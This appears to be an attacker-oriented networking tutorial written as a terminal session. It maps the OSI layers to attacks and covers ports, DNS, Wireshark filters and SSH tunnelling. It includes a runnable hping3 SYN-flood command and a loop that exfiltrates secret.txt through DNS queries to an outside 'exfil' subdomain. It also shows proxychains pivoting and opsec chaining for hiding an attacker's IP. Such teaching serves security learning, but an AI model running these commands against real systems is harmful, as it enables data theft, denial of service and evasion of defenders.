$ // OSI MODEL — ATTACKER'S VIEW
| Layer |
Name |
Attack Surface |
| 7 |
Application |
HTTP request smuggling, DNS poisoning, payload delivery |
| 6 |
Presentation |
SSL stripping, encoding bypasses |
| 5 |
Session |
Session hijacking, cookie theft |
| 4 |
Transport |
SYN flood, port scanning, session hijacking |
| 3 |
Network |
IP spoofing, fragmentation attacks, routing manipulation |
| 2 |
Data Link |
ARP spoofing, MAC flooding, VLAN hopping |
| 1 |
Physical |
Cable tapping, rogue access points |
You live at L2, L4, and L7. Everything else is for specialists.
$ Test-NetConnection -ComputerName 8.8.8.8 -TraceRoute
ComputerName : 8.8.8.8
RemoteAddress : 8.8.8.8
PingSucceeded : True
TraceRoute : {192.168.1.1, 10.20.26.193, 203.221.3.65, 72.14.243.130...}
InterfaceAlias : WiFi
SourceAddress : 192.168.1.92
$ // TCP HANDSHAKE — 3 packets to open, 1 RST to close
Client Server
| SYN → |
| ← SYN-ACK |
| ACK → |
| |
| DATA ↔ |
| |
| RST → | (or FIN-ACK)
$ // SYN FLOOD — DoS by never completing handshake
hping3 -S -p 80 --flood 192.168.1.42
# Send SYNs, never complete. Server resources exhausted.
Three packets to open. One RST to close. Everything in between is your attack surface.
PS> Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' } | Select-Object LocalAddress,LocalPort,OwningProcess | Sort-Object LocalPort
LocalAddress LocalPort OwningProcess
------------ --------- -------------
0.0.0.0 22 7008
0.0.0.0 135 1720
192.168.1.92 139 4
0.0.0.0 445 4
:: 1337 9180 ← PostgreSQL on leet port
0.0.0.0 4443 31248 ← C2 listener
0.0.0.0 8080 6464 ← Apache web server
0.0.0.0 9012 2068
0.0.0.0 9013 2068
:: 9051 10056
:: 9090 34760
$ // WELL-KNOWN PORTS — MEMORIZE THESE
22 SSH
80 HTTP
443 HTTPS
445 SMB
3389 RDP
5985 WinRM
4443 C2 (non-standard)
1337 PostgreSQL (non-standard)
Every open port is a conversation. 4443 = C2. 1337 = PostgreSQL. 8080 = Apache. Know your own surface.
PS> Resolve-DnsName 22div.com.au
Name Type TTL Section IPAddress
---- ---- --- ------- ---------
22div.com.au A 3600 Answer 203.0.113.42
$ // DNS RESOLUTION CHAIN
User → Local DNS (router) → ISP DNS → Root (.com) → TLD (google.com) → Authoritative (www.google.com)
$ // DNS EXFILTRATION — encode data in subdomains
base64 secret.txt | tr '+/' '-_' | fold -w 63 | while read chunk; do
nslookup "$chunk.exfil.22div.com.au"
done
# DNS queries always get out. Firewalls block HTTP. DNS is allowed.
DNS is the weakest link. Every query gets out. Encode data in subdomains. The firewall won't stop it.
$ // WIRESHARK CAPTURE FILTERS
host 192.168.1.92 # Only this IP
port 80 # Only this port
tcp # Only TCP
portrange 1-1024 # Well-known ports only
$ // WIRESHARK DISPLAY FILTERS
ip.addr == 192.168.1.92
http.request.method == "GET"
tcp.port == 4443
dns.qry.name contains "exfil"
ssl.handshake.type == 1
$ // WHAT TO LOOK FOR
• Unencrypted HTTP (passwords in plaintext)
• SMB traffic (file shares, lateral movement)
• DNS queries (what domains the target visits)
• Unusual ports (C2 beacons)
• Large outbound transfers (exfiltration)
Wireshark is the attacker's microscope. Every packet is a cell. Look for the anomaly.
$ // SSH TUNNELING — ROUTE AROUND DEFENSES
$ ssh -L 8080:internal.target.com:80 user@jumpbox
# Local port forward: your port → target's port through jumpbox
# Browse localhost:8080 → reaches internal.target.com:80
$ ssh -D 1080 user@jumpbox
# Dynamic SOCKS proxy on localhost:1080
# Route anything through it: proxychains nmap -sT 10.0.0.0/24
$ // RED TEAM OPSEC — DON'T BURN YOUR IP
# Chain: You → VPN → VPS → Target
ssh -D 1080 user@vps.22div.com.au
proxychains nmap -sT 10.0.0.0/24
# If target logs your IP → sees VPS
# If VPS seized → sees VPN
# If VPN keeps logs → sees you
# Layer your opsec.
SSH is a tunnel, not just a shell. Route traffic through jumpboxes. Layer your opsec.
Networking 101 — Through the Attack Lens. Every layer is a surface.